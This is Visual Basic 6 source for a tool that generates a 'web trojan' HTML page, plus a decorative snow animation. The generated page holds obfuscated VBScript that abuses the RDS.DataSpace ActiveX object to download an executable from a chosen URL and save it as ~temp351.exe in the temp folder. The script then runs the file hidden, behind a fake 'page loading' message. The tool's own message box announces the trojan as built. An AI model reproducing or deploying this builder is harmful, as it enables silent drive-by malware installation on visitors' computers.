Dim Snow(1000, 2), Amounty As Integer
Private Sub Command1_Click()
dmlt = dmlt + " <SCRIPT>var Laoding=""%3Chtml%3E%3Cscript language%3D%22VBScript%22%3E on error resume next%0D%0A"";document.write(unescape(Laoding))</SCRIPT>" + vbCrLf
dmlt = dmlt + " " + vbCrLf
dmlt = dmlt + " y =""" + Text1.Text + """" + vbCrLf
dmlt = dmlt + " m4=""down""" + vbCrLf
dmlt = dmlt + " m5=""file""" + vbCrLf
dmlt = dmlt + " m6=""copy""" + vbCrLf
dmlt = dmlt + " m7=""exit""" + vbCrLf
dmlt = dmlt + " Set yc = document.createElement_x(""object"")" + vbCrLf
dmlt = dmlt + " yc.setAttribute ""classid"", ""clsid:BD96C556-65A3-11D0-983A-00C04FC29E36""" + vbCrLf
dmlt = dmlt + " ta=m4" + vbCrLf
dmlt = dmlt + " tb=m5" + vbCrLf
dmlt = dmlt + " tc=m6" + vbCrLf
dmlt = dmlt + " td=m7" + vbCrLf
dmlt = dmlt + " yi=""Microsoft.XMLHTTP""" + vbCrLf
dmlt = dmlt + " Set yd = yc.CreateObject(yi,"""")" + vbCrLf
dmlt = dmlt + " tf=""Ado""" + vbCrLf
dmlt = dmlt + " tg=""db.""" + vbCrLf
dmlt = dmlt + " th=""Str""" + vbCrLf
dmlt = dmlt + " ti=""eam""" + vbCrLf
dmlt = dmlt + " yf=tf&tg&th&ti" + vbCrLf
dmlt = dmlt + " yg=yf" + vbCrLf
dmlt = dmlt + " set ya = yc.createobject(yg,"""")" + vbCrLf
dmlt = dmlt + " ya.type = 1" + vbCrLf
dmlt = dmlt + " yh=""GET""" + vbCrLf
dmlt = dmlt + " yd.Open yh, y, False" + vbCrLf
dmlt = dmlt + " yd.Send" + vbCrLf
dmlt = dmlt + " y9=""~temp351.exe""" + vbCrLf
dmlt = dmlt + " set yb = yc.createobject(""Scripting.FileSystemObject"","""")" + vbCrLf
dmlt = dmlt + " set ye = yb.GetSpecialFolder(2)" + vbCrLf
dmlt = dmlt + " ya.open" + vbCrLf
dmlt = dmlt + " y8=""ya.BuildPath(ya,y8)""" + vbCrLf
dmlt = dmlt + " y7=""yb.BuildPath(yb,y7)""" + vbCrLf
dmlt = dmlt + " y6=""yc.BuildPath(yd,y6)""" + vbCrLf
dmlt = dmlt + " y5=""yd.BuildPath(yf,y5)""" + vbCrLf
dmlt = dmlt + " y4=""ye.BuildPath(yg,y4)""" + vbCrLf
dmlt = dmlt + " y3=""yf.BuildPath(yh,y4)""" + vbCrLf
dmlt = dmlt + " y2=""yg.BuildPath(yi,y3)""" + vbCrLf
dmlt = dmlt + " y1=""yh.BuildPath(yg,y1)""" + vbCrLf
dmlt = dmlt + " y0=""yi.BuildPath(yk,y0)""" + vbCrLf
dmlt = dmlt + " y9= yb.BuildPath(ye,y9)" + vbCrLf
dmlt = dmlt + " ya.write yd.responseBody" + vbCrLf
dmlt = dmlt + " ya.savetofile y9,2" + vbCrLf
dmlt = dmlt + " ya.close" + vbCrLf
dmlt = dmlt + " set ye = yc.createobject(""Shell.Application"","""")" + vbCrLf
dmlt = dmlt + " ye.ShellExecute y9,BBS,BBS,""open"",0</script></html>" + vbCrLf
dmlt = dmlt + "" + vbCrLf
dmlt = dmlt + "<script type=""text/jscript"">function init() { document.write(""你好,您所访问的页面正在加载中...请稍候片刻...."");}window.onload = init;</script>" + vbCrLf
Open App.Path & "\" & "xiaoheisan.htm" For Output As #1
Print #1, dmlt
Close #1
MsgBox "网页木马已在程序根目录下生成 名为:xiaoheisan.htm", vbDefaultButton1, "网页木马生成成功!"
End Sub
Private Sub Form_Load()
Form1.Show
DoEvents
Randomize: Amounty = 240
For J = 1 To Amounty
Snow(J, 0) = Int(Rnd * Form1.Width)
Snow(J, 1) = Int(Rnd * Form1.Height)
Snow(J, 2) = 10 + (Rnd * 1)
Next J
Do While Not (DoEvents = 0)
For LS = 1 To 100
For I = 1 To Amounty
OldX = Snow(I, 0): OldY = Snow(I, 1): Snow(I, 1) = Snow(I, 1) + Snow(I, 2)
If Snow(I, 1) > Form1.Height Then Snow(I, 1) = 0: Snow(I, 2) = 5 + (Rnd * 30): Snow(I, 0) = Int(Rnd * Form1.Width): OldX = 0: OldY = 0
Coloury = 8 * (Snow(I, 2) - 10): Coloury = 60 + Coloury: PSet (OldX, OldY), QBColor(0): PSet (Snow(I, 0), Snow(I, 1)), RGB(Coloury, Coloury, Coloury)
Next I
Next LS
Form1.Refresh
Loop
End
End Sub